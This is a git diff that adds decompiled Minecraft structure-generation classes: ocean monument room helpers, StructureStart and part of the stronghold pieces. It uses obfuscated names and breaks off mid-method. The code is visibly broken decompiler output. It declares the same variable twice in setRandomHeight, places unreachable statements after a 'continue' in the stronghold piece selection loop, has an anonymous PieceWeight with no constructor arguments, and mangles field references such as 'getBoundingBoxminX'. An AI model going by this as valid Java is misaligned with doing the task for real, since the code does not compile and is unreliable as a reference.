+        func_175804_a(worldIn, p_74875_3_, 7, 3, 7, 15, 3, 14, field_175826_b, field_175826_b, false);
+        var8 = 10;
+        
+        for (var7 = 0; var7 < 2; var7++)
+        {
+          func_175804_a(worldIn, p_74875_3_, var8, 0, 10, var8, 6, 10, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, var8, 0, 12, var8, 6, 12, field_175826_b, field_175826_b, false);
+          func_175811_a(worldIn, field_175825_e, var8, 0, 10, p_74875_3_);
+          func_175811_a(worldIn, field_175825_e, var8, 0, 12, p_74875_3_);
+          func_175811_a(worldIn, field_175825_e, var8, 4, 10, p_74875_3_);
+          func_175811_a(worldIn, field_175825_e, var8, 4, 12, p_74875_3_);
+          var8 = 12;
+        }
+        
+        var8 = 8;
+        
+        for (var7 = 0; var7 < 2; var7++)
+        {
+          func_175804_a(worldIn, p_74875_3_, var8, 0, 7, var8, 2, 7, field_175826_b, field_175826_b, false);
+          func_175804_a(worldIn, p_74875_3_, var8, 0, 14, var8, 2, 14, field_175826_b, field_175826_b, false);
+          var8 = 14;
+        }
+        
+        func_175804_a(worldIn, p_74875_3_, 8, 3, 8, 8, 3, 13, field_175827_c, field_175827_c, false);
+        func_175804_a(worldIn, p_74875_3_, 14, 3, 8, 14, 3, 13, field_175827_c, field_175827_c, false);
+        func_175817_a(worldIn, p_74875_3_, 11, 5, 13);
+      }
+      
+      return true;
+    }
+  }
+  
+  static class XDoubleRoomFitHelper implements StructureOceanMonumentPieces.MonumentRoomFitHelper
+  {
+    private static final String __OBFID = "CL_00001992";
+    
+    private XDoubleRoomFitHelper() {}
+    
+    public boolean func_175969_a(StructureOceanMonumentPieces.RoomDefinition p_175969_1_)
+    {
+      return (field_175966_c[EnumFacing.EAST.getIndex()] != 0) && (!field_175965_b[EnumFacing.EAST.getIndex()].field_175963_d);
+    }
+    
+    public StructureOceanMonumentPieces.Piece func_175968_a(EnumFacing p_175968_1_, StructureOceanMonumentPieces.RoomDefinition p_175968_2_, Random p_175968_3_)
+    {
+      field_175963_d = true;
+      field_175965_b[EnumFacing.EAST.getIndex()].field_175963_d = true;
+      return new StructureOceanMonumentPieces.DoubleXRoom(p_175968_1_, p_175968_2_, p_175968_3_);
+    }
+    
+    XDoubleRoomFitHelper(StructureOceanMonumentPieces.SwitchEnumFacing p_i45606_1_)
+    {
+      this();
+    }
+  }
+  
+  static class XYDoubleRoomFitHelper implements StructureOceanMonumentPieces.MonumentRoomFitHelper
+  {
+    private static final String __OBFID = "CL_00001991";
+    
+    private XYDoubleRoomFitHelper() {}
+    
+    public boolean func_175969_a(StructureOceanMonumentPieces.RoomDefinition p_175969_1_)
+    {
+      if ((field_175966_c[EnumFacing.EAST.getIndex()] != 0) && (!field_175965_b[EnumFacing.EAST.getIndex()].field_175963_d) && (field_175966_c[EnumFacing.UP.getIndex()] != 0) && (!field_175965_b[EnumFacing.UP.getIndex()].field_175963_d))
+      {
+        StructureOceanMonumentPieces.RoomDefinition var2 = field_175965_b[EnumFacing.EAST.getIndex()];
+        return (field_175966_c[EnumFacing.UP.getIndex()] != 0) && (!field_175965_b[EnumFacing.UP.getIndex()].field_175963_d);
+      }
+      
+
+      return false;
+    }
+    
+
+    public StructureOceanMonumentPieces.Piece func_175968_a(EnumFacing p_175968_1_, StructureOceanMonumentPieces.RoomDefinition p_175968_2_, Random p_175968_3_)
+    {
+      field_175963_d = true;
+      field_175965_b[EnumFacing.EAST.getIndex()].field_175963_d = true;
+      field_175965_b[EnumFacing.UP.getIndex()].field_175963_d = true;
+      field_175965_b[EnumFacing.EAST.getIndex()].field_175965_b[EnumFacing.UP.getIndex()].field_175963_d = true;
+      return new StructureOceanMonumentPieces.DoubleXYRoom(p_175968_1_, p_175968_2_, p_175968_3_);
+    }
+    
+    XYDoubleRoomFitHelper(StructureOceanMonumentPieces.SwitchEnumFacing p_i45605_1_)
+    {
+      this();
+    }
+  }
+  
+  static class YDoubleRoomFitHelper implements StructureOceanMonumentPieces.MonumentRoomFitHelper
+  {
+    private static final String __OBFID = "CL_00001990";
+    
+    private YDoubleRoomFitHelper() {}
+    
+    public boolean func_175969_a(StructureOceanMonumentPieces.RoomDefinition p_175969_1_)
+    {
+      return (field_175966_c[EnumFacing.UP.getIndex()] != 0) && (!field_175965_b[EnumFacing.UP.getIndex()].field_175963_d);
+    }
+    
+    public StructureOceanMonumentPieces.Piece func_175968_a(EnumFacing p_175968_1_, StructureOceanMonumentPieces.RoomDefinition p_175968_2_, Random p_175968_3_)
+    {
+      field_175963_d = true;
+      field_175965_b[EnumFacing.UP.getIndex()].field_175963_d = true;
+      return new StructureOceanMonumentPieces.DoubleYRoom(p_175968_1_, p_175968_2_, p_175968_3_);
+    }
+    
+    YDoubleRoomFitHelper(StructureOceanMonumentPieces.SwitchEnumFacing p_i45604_1_)
+    {
+      this();
+    }
+  }
+  
+  static class YZDoubleRoomFitHelper implements StructureOceanMonumentPieces.MonumentRoomFitHelper
+  {
+    private static final String __OBFID = "CL_00001989";
+    
+    private YZDoubleRoomFitHelper() {}
+    
+    public boolean func_175969_a(StructureOceanMonumentPieces.RoomDefinition p_175969_1_)
+    {
+      if ((field_175966_c[EnumFacing.NORTH.getIndex()] != 0) && (!field_175965_b[EnumFacing.NORTH.getIndex()].field_175963_d) && (field_175966_c[EnumFacing.UP.getIndex()] != 0) && (!field_175965_b[EnumFacing.UP.getIndex()].field_175963_d))
+      {
+        StructureOceanMonumentPieces.RoomDefinition var2 = field_175965_b[EnumFacing.NORTH.getIndex()];
+        return (field_175966_c[EnumFacing.UP.getIndex()] != 0) && (!field_175965_b[EnumFacing.UP.getIndex()].field_175963_d);
+      }
+      
+
+      return false;
+    }
+    
+
+    public StructureOceanMonumentPieces.Piece func_175968_a(EnumFacing p_175968_1_, StructureOceanMonumentPieces.RoomDefinition p_175968_2_, Random p_175968_3_)
+    {
+      field_175963_d = true;
+      field_175965_b[EnumFacing.NORTH.getIndex()].field_175963_d = true;
+      field_175965_b[EnumFacing.UP.getIndex()].field_175963_d = true;
+      field_175965_b[EnumFacing.NORTH.getIndex()].field_175965_b[EnumFacing.UP.getIndex()].field_175963_d = true;
+      return new StructureOceanMonumentPieces.DoubleYZRoom(p_175968_1_, p_175968_2_, p_175968_3_);
+    }
+    
+    YZDoubleRoomFitHelper(StructureOceanMonumentPieces.SwitchEnumFacing p_i45603_1_)
+    {
+      this();
+    }
+  }
+  
+  static class ZDoubleRoomFitHelper implements StructureOceanMonumentPieces.MonumentRoomFitHelper
+  {
+    private static final String __OBFID = "CL_00001988";
+    
+    private ZDoubleRoomFitHelper() {}
+    
+    public boolean func_175969_a(StructureOceanMonumentPieces.RoomDefinition p_175969_1_)
+    {
+      return (field_175966_c[EnumFacing.NORTH.getIndex()] != 0) && (!field_175965_b[EnumFacing.NORTH.getIndex()].field_175963_d);
+    }
+    
+    public StructureOceanMonumentPieces.Piece func_175968_a(EnumFacing p_175968_1_, StructureOceanMonumentPieces.RoomDefinition p_175968_2_, Random p_175968_3_)
+    {
+      StructureOceanMonumentPieces.RoomDefinition var4 = p_175968_2_;
+      
+      if ((field_175966_c[EnumFacing.NORTH.getIndex()] == 0) || (field_175965_b[EnumFacing.NORTH.getIndex()].field_175963_d))
+      {
+        var4 = field_175965_b[EnumFacing.SOUTH.getIndex()];
+      }
+      
+      field_175963_d = true;
+      field_175965_b[EnumFacing.NORTH.getIndex()].field_175963_d = true;
+      return new StructureOceanMonumentPieces.DoubleZRoom(p_175968_1_, var4, p_175968_3_);
+    }
+    
+    ZDoubleRoomFitHelper(StructureOceanMonumentPieces.SwitchEnumFacing p_i45602_1_)
+    {
+      this();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/StructureStart.java b/src/minecraft/net/minecraft/world/gen/structure/StructureStart.java
new file mode 100644
index 0000000..c233e4b
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/StructureStart.java
@@ -0,0 +1,190 @@
+package net.minecraft.world.gen.structure;
+
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.Random;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.World;
+
+
+public abstract class StructureStart
+{
+  protected LinkedList components = new LinkedList();
+  protected StructureBoundingBox boundingBox;
+  private int field_143024_c;
+  private int field_143023_d;
+  private static final String __OBFID = "CL_00000513";
+  
+  public StructureStart() {}
+  
+  public StructureStart(int p_i43002_1_, int p_i43002_2_)
+  {
+    field_143024_c = p_i43002_1_;
+    field_143023_d = p_i43002_2_;
+  }
+  
+  public StructureBoundingBox getBoundingBox()
+  {
+    return boundingBox;
+  }
+  
+  public LinkedList getComponents()
+  {
+    return components;
+  }
+  
+
+
+
+  public void generateStructure(World worldIn, Random p_75068_2_, StructureBoundingBox p_75068_3_)
+  {
+    Iterator var4 = components.iterator();
+    
+    while (var4.hasNext())
+    {
+      StructureComponent var5 = (StructureComponent)var4.next();
+      
+      if ((var5.getBoundingBox().intersectsWith(p_75068_3_)) && (!var5.addComponentParts(worldIn, p_75068_2_, p_75068_3_)))
+      {
+        var4.remove();
+      }
+    }
+  }
+  
+
+
+
+  protected void updateBoundingBox()
+  {
+    boundingBox = StructureBoundingBox.getNewBoundingBox();
+    Iterator var1 = components.iterator();
+    
+    while (var1.hasNext())
+    {
+      StructureComponent var2 = (StructureComponent)var1.next();
+      boundingBox.expandTo(var2.getBoundingBox());
+    }
+  }
+  
+  public NBTTagCompound func_143021_a(int p_143021_1_, int p_143021_2_)
+  {
+    NBTTagCompound var3 = new NBTTagCompound();
+    var3.setString("id", MapGenStructureIO.func_143033_a(this));
+    var3.setInteger("ChunkX", p_143021_1_);
+    var3.setInteger("ChunkZ", p_143021_2_);
+    var3.setTag("BB", boundingBox.func_151535_h());
+    NBTTagList var4 = new NBTTagList();
+    Iterator var5 = components.iterator();
+    
+    while (var5.hasNext())
+    {
+      StructureComponent var6 = (StructureComponent)var5.next();
+      var4.appendTag(var6.func_143010_b());
+    }
+    
+    var3.setTag("Children", var4);
+    func_143022_a(var3);
+    return var3;
+  }
+  
+  public void func_143022_a(NBTTagCompound p_143022_1_) {}
+  
+  public void func_143020_a(World worldIn, NBTTagCompound p_143020_2_)
+  {
+    field_143024_c = p_143020_2_.getInteger("ChunkX");
+    field_143023_d = p_143020_2_.getInteger("ChunkZ");
+    
+    if (p_143020_2_.hasKey("BB"))
+    {
+      boundingBox = new StructureBoundingBox(p_143020_2_.getIntArray("BB"));
+    }
+    
+    NBTTagList var3 = p_143020_2_.getTagList("Children", 10);
+    
+    for (int var4 = 0; var4 < var3.tagCount(); var4++)
+    {
+      components.add(MapGenStructureIO.func_143032_b(var3.getCompoundTagAt(var4), worldIn));
+    }
+    
+    func_143017_b(p_143020_2_);
+  }
+  
+
+
+  public void func_143017_b(NBTTagCompound p_143017_1_) {}
+  
+
+  protected void markAvailableHeight(World worldIn, Random p_75067_2_, int p_75067_3_)
+  {
+    int var4 = 63 - p_75067_3_;
+    int var5 = boundingBox.getYSize() + 1;
+    
+    if (var5 < var4)
+    {
+      var5 += p_75067_2_.nextInt(var4 - var5);
+    }
+    
+    int var6 = var5 - boundingBox.maxY;
+    boundingBox.offset(0, var6, 0);
+    Iterator var7 = components.iterator();
+    
+    while (var7.hasNext())
+    {
+      StructureComponent var8 = (StructureComponent)var7.next();
+      var8.getBoundingBox().offset(0, var6, 0);
+    }
+  }
+  
+  protected void setRandomHeight(World worldIn, Random p_75070_2_, int p_75070_3_, int p_75070_4_)
+  {
+    int var5 = p_75070_4_ - p_75070_3_ + 1 - boundingBox.getYSize();
+    boolean var6 = true;
+    int var10;
+    int var10;
+    if (var5 > 1)
+    {
+      var10 = p_75070_3_ + p_75070_2_.nextInt(var5);
+    }
+    else
+    {
+      var10 = p_75070_3_;
+    }
+    
+    int var7 = var10 - boundingBox.minY;
+    boundingBox.offset(0, var7, 0);
+    Iterator var8 = components.iterator();
+    
+    while (var8.hasNext())
+    {
+      StructureComponent var9 = (StructureComponent)var8.next();
+      var9.getBoundingBox().offset(0, var7, 0);
+    }
+  }
+  
+
+
+
+  public boolean isSizeableStructure()
+  {
+    return true;
+  }
+  
+  public boolean func_175788_a(ChunkCoordIntPair p_175788_1_)
+  {
+    return true;
+  }
+  
+  public void func_175787_b(ChunkCoordIntPair p_175787_1_) {}
+  
+  public int func_143019_e()
+  {
+    return field_143024_c;
+  }
+  
+  public int func_143018_f()
+  {
+    return field_143023_d;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/StructureStrongholdPieces.java b/src/minecraft/net/minecraft/world/gen/structure/StructureStrongholdPieces.java
new file mode 100644
index 0000000..bd94055
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/StructureStrongholdPieces.java
@@ -0,0 +1,1776 @@
+package net.minecraft.world.gen.structure;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockDynamicLiquid;
+import net.minecraft.block.BlockEndPortalFrame;
+import net.minecraft.block.BlockSlab;
+import net.minecraft.block.BlockStoneSlab.EnumType;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemEnchantedBook;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.WeightedRandomChestContent;
+import net.minecraft.world.World;
+
+public class StructureStrongholdPieces
+{
+  private static final PieceWeight[] pieceWeightArray = { new PieceWeight(Straight.class, 40, 0), new PieceWeight(Prison.class, 5, 5), new PieceWeight(LeftTurn.class, 20, 0), new PieceWeight(RightTurn.class, 20, 0), new PieceWeight(RoomCrossing.class, 10, 6), new PieceWeight(StairsStraight.class, 5, 5), new PieceWeight(Stairs.class, 5, 5), new PieceWeight(Crossing.class, 5, 4), new PieceWeight(ChestCorridor.class, 5, 4), new PieceWeight(Library.class, 10, 2)
+  
+
+
+
+
+
+    new PieceWeight
+  {
+    private static final String __OBFID = "CL_00000484";
+    
+    public boolean canSpawnMoreStructuresOfType(int p_75189_1_) {
+      return (super.canSpawnMoreStructuresOfType(p_75189_1_)) && (p_75189_1_ > 4);
+    }
+  }, 
+  
+
+
+
+
+
+    new PieceWeight(PortalRoom.class, 20, 1)
+  {
+    private static final String __OBFID = "CL_00000485";
+    
+    public boolean canSpawnMoreStructuresOfType(int p_75189_1_) {
+      return (super.canSpawnMoreStructuresOfType(p_75189_1_)) && (p_75189_1_ > 5);
+    }
+  }
+  
+
+
+
+
+
+     };
+  
+
+  private static List structurePieceList;
+  
+
+  private static Class strongComponentType;
+  
+
+  static int totalWeight;
+  
+
+  private static final Stones strongholdStones = new Stones(null);
+  private static final String __OBFID = "CL_00000483";
+  
+  public StructureStrongholdPieces() {}
+  
+  public static void registerStrongholdPieces() { MapGenStructureIO.registerStructureComponent(ChestCorridor.class, "SHCC");
+    MapGenStructureIO.registerStructureComponent(Corridor.class, "SHFC");
+    MapGenStructureIO.registerStructureComponent(Crossing.class, "SH5C");
+    MapGenStructureIO.registerStructureComponent(LeftTurn.class, "SHLT");
+    MapGenStructureIO.registerStructureComponent(Library.class, "SHLi");
+    MapGenStructureIO.registerStructureComponent(PortalRoom.class, "SHPR");
+    MapGenStructureIO.registerStructureComponent(Prison.class, "SHPH");
+    MapGenStructureIO.registerStructureComponent(RightTurn.class, "SHRT");
+    MapGenStructureIO.registerStructureComponent(RoomCrossing.class, "SHRC");
+    MapGenStructureIO.registerStructureComponent(Stairs.class, "SHSD");
+    MapGenStructureIO.registerStructureComponent(Stairs2.class, "SHStart");
+    MapGenStructureIO.registerStructureComponent(Straight.class, "SHS");
+    MapGenStructureIO.registerStructureComponent(StairsStraight.class, "SHSSD");
+  }
+  
+
+
+
+  public static void prepareStructurePieces()
+  {
+    structurePieceList = Lists.newArrayList();
+    PieceWeight[] var0 = pieceWeightArray;
+    int var1 = var0.length;
+    
+    for (int var2 = 0; var2 < var1; var2++)
+    {
+      PieceWeight var3 = var0[var2];
+      instancesSpawned = 0;
+      structurePieceList.add(var3);
+    }
+    
+    strongComponentType = null;
+  }
+  
+  private static boolean canAddStructurePieces()
+  {
+    boolean var0 = false;
+    totalWeight = 0;
+    
+    PieceWeight var2;
+    for (Iterator var1 = structurePieceList.iterator(); var1.hasNext(); totalWeight += pieceWeight)
+    {
+      var2 = (PieceWeight)var1.next();
+      
+      if ((instancesLimit > 0) && (instancesSpawned < instancesLimit))
+      {
+        var0 = true;
+      }
+    }
+    
+    return var0;
+  }
+  
+  private static Stronghold func_175954_a(Class p_175954_0_, List p_175954_1_, Random p_175954_2_, int p_175954_3_, int p_175954_4_, int p_175954_5_, EnumFacing p_175954_6_, int p_175954_7_)
+  {
+    Object var8 = null;
+    
+    if (p_175954_0_ == Straight.class)
+    {
+      var8 = Straight.func_175862_a(p_175954_1_, p_175954_2_, p_175954_3_, p_175954_4_, p_175954_5_, p_175954_6_, p_175954_7_);
+    }
+    else if (p_175954_0_ == Prison.class)
+    {
+      var8 = Prison.func_175860_a(p_175954_1_, p_175954_2_, p_175954_3_, p_175954_4_, p_175954_5_, p_175954_6_, p_175954_7_);
+    }
+    else if (p_175954_0_ == LeftTurn.class)
+    {
+      var8 = LeftTurn.func_175867_a(p_175954_1_, p_175954_2_, p_175954_3_, p_175954_4_, p_175954_5_, p_175954_6_, p_175954_7_);
+    }
+    else if (p_175954_0_ == RightTurn.class)
+    {
+      var8 = RightTurn.func_175867_a(p_175954_1_, p_175954_2_, p_175954_3_, p_175954_4_, p_175954_5_, p_175954_6_, p_175954_7_);
+    }
+    else if (p_175954_0_ == RoomCrossing.class)
+    {
+      var8 = RoomCrossing.func_175859_a(p_175954_1_, p_175954_2_, p_175954_3_, p_175954_4_, p_175954_5_, p_175954_6_, p_175954_7_);
+    }
+    else if (p_175954_0_ == StairsStraight.class)
+    {
+      var8 = StairsStraight.func_175861_a(p_175954_1_, p_175954_2_, p_175954_3_, p_175954_4_, p_175954_5_, p_175954_6_, p_175954_7_);
+    }
+    else if (p_175954_0_ == Stairs.class)
+    {
+      var8 = Stairs.func_175863_a(p_175954_1_, p_175954_2_, p_175954_3_, p_175954_4_, p_175954_5_, p_175954_6_, p_175954_7_);
+    }
+    else if (p_175954_0_ == Crossing.class)
+    {
+      var8 = Crossing.func_175866_a(p_175954_1_, p_175954_2_, p_175954_3_, p_175954_4_, p_175954_5_, p_175954_6_, p_175954_7_);
+    }
+    else if (p_175954_0_ == ChestCorridor.class)
+    {
+      var8 = ChestCorridor.func_175868_a(p_175954_1_, p_175954_2_, p_175954_3_, p_175954_4_, p_175954_5_, p_175954_6_, p_175954_7_);
+    }
+    else if (p_175954_0_ == Library.class)
+    {
+      var8 = Library.func_175864_a(p_175954_1_, p_175954_2_, p_175954_3_, p_175954_4_, p_175954_5_, p_175954_6_, p_175954_7_);
+    }
+    else if (p_175954_0_ == PortalRoom.class)
+    {
+      var8 = PortalRoom.func_175865_a(p_175954_1_, p_175954_2_, p_175954_3_, p_175954_4_, p_175954_5_, p_175954_6_, p_175954_7_);
+    }
+    
+    return (Stronghold)var8;
+  }
+  
+  private static Stronghold func_175955_b(Stairs2 p_175955_0_, List p_175955_1_, Random p_175955_2_, int p_175955_3_, int p_175955_4_, int p_175955_5_, EnumFacing p_175955_6_, int p_175955_7_)
+  {
+    if (!canAddStructurePieces())
+    {
+      return null;
+    }
+    
+
+    if (strongComponentType != null)
+    {
+      Stronghold var8 = func_175954_a(strongComponentType, p_175955_1_, p_175955_2_, p_175955_3_, p_175955_4_, p_175955_5_, p_175955_6_, p_175955_7_);
+      strongComponentType = null;
+      
+      if (var8 != null)
+      {
+        return var8;
+      }
+    }
+    
+    int var13 = 0;
+    Iterator var10;
+    label200: for (; var13 < 5; 
+        
+
+
+
+
+        var10.hasNext())
+    {
+      var13++;
+      int var9 = p_175955_2_.nextInt(totalWeight);
+      var10 = structurePieceList.iterator();
+      
+      continue;
+      
+      PieceWeight var11 = (PieceWeight)var10.next();
+      var9 -= pieceWeight;
+      
+      if (var9 < 0)
+      {
+        if ((!var11.canSpawnMoreStructuresOfType(p_175955_7_)) || (var11 == strongholdPieceWeight)) {
+          break label200;
+        }
+        
+
+        Stronghold var12 = func_175954_a(pieceClass, p_175955_1_, p_175955_2_, p_175955_3_, p_175955_4_, p_175955_5_, p_175955_6_, p_175955_7_);
+        
+        if (var12 != null)
+        {
+          instancesSpawned += 1;
+          strongholdPieceWeight = var11;
+          
+          if (!var11.canSpawnMoreStructures())
+          {
+            structurePieceList.remove(var11);
+          }
+          
+          return var12;
+        }
+      }
+    }
+    
+
+    StructureBoundingBox var14 = Corridor.func_175869_a(p_175955_1_, p_175955_2_, p_175955_3_, p_175955_4_, p_175955_5_, p_175955_6_);
+    
+    if ((var14 != null) && (minY > 1))
+    {
+      return new Corridor(p_175955_7_, p_175955_2_, var14, p_175955_6_);
+    }
+    
+
+    return null;
+  }
+  
+
+
+  private static StructureComponent func_175953_c(Stairs2 p_175953_0_, List p_175953_1_, Random p_175953_2_, int p_175953_3_, int p_175953_4_, int p_175953_5_, EnumFacing p_175953_6_, int p_175953_7_)
+  {
+    if (p_175953_7_ > 50)
+    {
+      return null;
+    }
+    if ((Math.abs(p_175953_3_ - getBoundingBoxminX) <= 112) && (Math.abs(p_175953_5_ - getBoundingBoxminZ) <= 112))
+    {
+      Stronghold var8 = func_175955_b(p_175953_0_, p_175953_1_, p_175953_2_, p_175953_3_, p_175953_4_, p_175953_5_, p_175953_6_, p_175953_7_ + 1);
+      
+      if (var8 != null)
+      {
+        p_175953_1_.add(var8);
+        field_75026_c.add(var8);
+      }
+      
+      return var8;
+    }
+    
+
+    return null;
+  }
+  
+  public static class ChestCorridor
+    extends StructureStrongholdPieces.Stronghold
+  {
+    private static final List strongholdChestContents = Lists.newArrayList(new WeightedRandomChestContent[] { new WeightedRandomChestContent(Items.ender_pearl, 0, 1, 1, 10), new WeightedRandomChestContent(Items.diamond, 0, 1, 3, 3), new WeightedRandomChestContent(Items.iron_ingot, 0, 1, 5, 10), new WeightedRandomChestContent(Items.gold_ingot, 0, 1, 3, 5), new WeightedRandomChestContent(Items.redstone, 0, 4, 9, 5), new WeightedRandomChestContent(Items.bread, 0, 1, 3, 15), new WeightedRandomChestContent(Items.apple, 0, 1, 3, 15), new WeightedRandomChestContent(Items.iron_pickaxe, 0, 1, 1, 5), new WeightedRandomChestContent(Items.iron_sword, 0, 1, 1, 5), new WeightedRandomChestContent(Items.iron_chestplate, 0, 1, 1, 5), new WeightedRandomChestContent(Items.iron_helmet, 0, 1, 1, 5), new WeightedRandomChestContent(Items.iron_leggings, 0, 1, 1, 5), new WeightedRandomChestContent(Items.iron_boots, 0, 1, 1, 5), new WeightedRandomChestContent(Items.golden_apple, 0, 1, 1, 1), new WeightedRandomChestContent(Items.saddle, 0, 1, 1, 1), new WeightedRandomChestContent(Items.iron_horse_armor, 0, 1, 1, 1), new WeightedRandomChestContent(Items.golden_horse_armor, 0, 1, 1, 1), new WeightedRandomChestContent(Items.diamond_horse_armor, 0, 1, 1, 1) });
+    private boolean hasMadeChest;
+    private static final String __OBFID = "CL_00000487";
+    
+    public ChestCorridor() {}
+    
+    public ChestCorridor(int p_i45582_1_, Random p_i45582_2_, StructureBoundingBox p_i45582_3_, EnumFacing p_i45582_4_)
+    {
+      super();
+      coordBaseMode = p_i45582_4_;
+      field_143013_d = getRandomDoor(p_i45582_2_);
+      boundingBox = p_i45582_3_;
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setBoolean("Chest", hasMadeChest);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      hasMadeChest = p_143011_1_.getBoolean("Chest");
+    }
+    
+    public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_)
+    {
+      getNextComponentNormal((StructureStrongholdPieces.Stairs2)p_74861_1_, p_74861_2_, p_74861_3_, 1, 1);
+    }
+    
+    public static ChestCorridor func_175868_a(List p_175868_0_, Random p_175868_1_, int p_175868_2_, int p_175868_3_, int p_175868_4_, EnumFacing p_175868_5_, int p_175868_6_)
+    {
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175868_2_, p_175868_3_, p_175868_4_, -1, -1, 0, 5, 5, 7, p_175868_5_);
+      return (canStrongholdGoDeeper(var7)) && (StructureComponent.findIntersecting(p_175868_0_, var7) == null) ? new ChestCorridor(p_175868_6_, p_175868_1_, var7, p_175868_5_) : null;
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (isLiquidInStructureBoundingBox(worldIn, p_74875_3_))
+      {
+        return false;
+      }
+      
+
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 0, 0, 0, 4, 4, 6, true, p_74875_2_, StructureStrongholdPieces.strongholdStones);
+      placeDoor(worldIn, p_74875_2_, p_74875_3_, field_143013_d, 1, 1, 0);
+      placeDoor(worldIn, p_74875_2_, p_74875_3_, StructureStrongholdPieces.Stronghold.Door.OPENING, 1, 1, 6);
+      func_175804_a(worldIn, p_74875_3_, 3, 1, 2, 3, 1, 4, Blocks.stonebrick.getDefaultState(), Blocks.stonebrick.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.stone_slab.getStateFromMeta(BlockStoneSlab.EnumType.SMOOTHBRICK.func_176624_a()), 3, 1, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_slab.getStateFromMeta(BlockStoneSlab.EnumType.SMOOTHBRICK.func_176624_a()), 3, 1, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_slab.getStateFromMeta(BlockStoneSlab.EnumType.SMOOTHBRICK.func_176624_a()), 3, 2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_slab.getStateFromMeta(BlockStoneSlab.EnumType.SMOOTHBRICK.func_176624_a()), 3, 2, 4, p_74875_3_);
+      
+      for (int var4 = 2; var4 <= 4; var4++)
+      {
+        func_175811_a(worldIn, Blocks.stone_slab.getStateFromMeta(BlockStoneSlab.EnumType.SMOOTHBRICK.func_176624_a()), 2, 1, var4, p_74875_3_);
+      }
+      
+      if ((!hasMadeChest) && (p_74875_3_.func_175898_b(new net.minecraft.util.BlockPos(getXWithOffset(3, 3), getYWithOffset(2), getZWithOffset(3, 3)))))
+      {
+        hasMadeChest = true;
+        func_180778_a(worldIn, p_74875_3_, p_74875_2_, 3, 2, 3, WeightedRandomChestContent.func_177629_a(strongholdChestContents, new WeightedRandomChestContent[] { Items.enchanted_book.getRandomEnchantedBook(p_74875_2_) }), 2 + p_74875_2_.nextInt(2));
+      }
+      
+      return true;
+    }
+  }
+  
+  public static class Corridor
+    extends StructureStrongholdPieces.Stronghold
+  {
+    private int field_74993_a;
+    private static final String __OBFID = "CL_00000488";
+    
+    public Corridor() {}
+    
+    public Corridor(int p_i45581_1_, Random p_i45581_2_, StructureBoundingBox p_i45581_3_, EnumFacing p_i45581_4_)
+    {
+      super();
+      coordBaseMode = p_i45581_4_;
+      boundingBox = p_i45581_3_;
+      field_74993_a = ((p_i45581_4_ != EnumFacing.NORTH) && (p_i45581_4_ != EnumFacing.SOUTH) ? p_i45581_3_.getXSize() : p_i45581_3_.getZSize());
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setInteger("Steps", field_74993_a);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      field_74993_a = p_143011_1_.getInteger("Steps");
+    }
+    
+    public static StructureBoundingBox func_175869_a(List p_175869_0_, Random p_175869_1_, int p_175869_2_, int p_175869_3_, int p_175869_4_, EnumFacing p_175869_5_)
+    {
+      boolean var6 = true;
+      StructureBoundingBox var7 = StructureBoundingBox.func_175897_a(p_175869_2_, p_175869_3_, p_175869_4_, -1, -1, 0, 5, 5, 4, p_175869_5_);
+      StructureComponent var8 = StructureComponent.findIntersecting(p_175869_0_, var7);
+      
+      if (var8 == null)
+      {
+        return null;
+      }
+      
+
+      if (getBoundingBoxminY == minY)
+      {
+        for (int var9 = 3; var9 >= 1; var9--)
+        {
+          var7 = StructureBoundingBox.func_175897_a(p_175869_2_, p_175869_3_, p_175869_4_, -1, -1, 0, 5, 5, var9 - 1, p_175869_5_);
+          
+          if (!var8.getBoundingBox().intersectsWith(var7))
+          {
+            return StructureBoundingBox.func_175897_a(p_175869_2_, p_175869_3_, p_175869_4_, -1, -1, 0, 5, 5, var9, p_175869_5_);
+          }
+        }
+      }
+      
+      return null;
+    }
+    
+
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (isLiquidInStructureBoundingBox(worldIn, p_74875_3_))
+      {
+        return false;
+      }
+      
+
+      for (int var4 = 0; var4 < field_74993_a; var4++)
+      {
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 0, 0, var4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 1, 0, var4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 2, 0, var4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 3, 0, var4, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stonebrick.getDefaultState(), 4, 0, var4, p_74875_3_);
+        
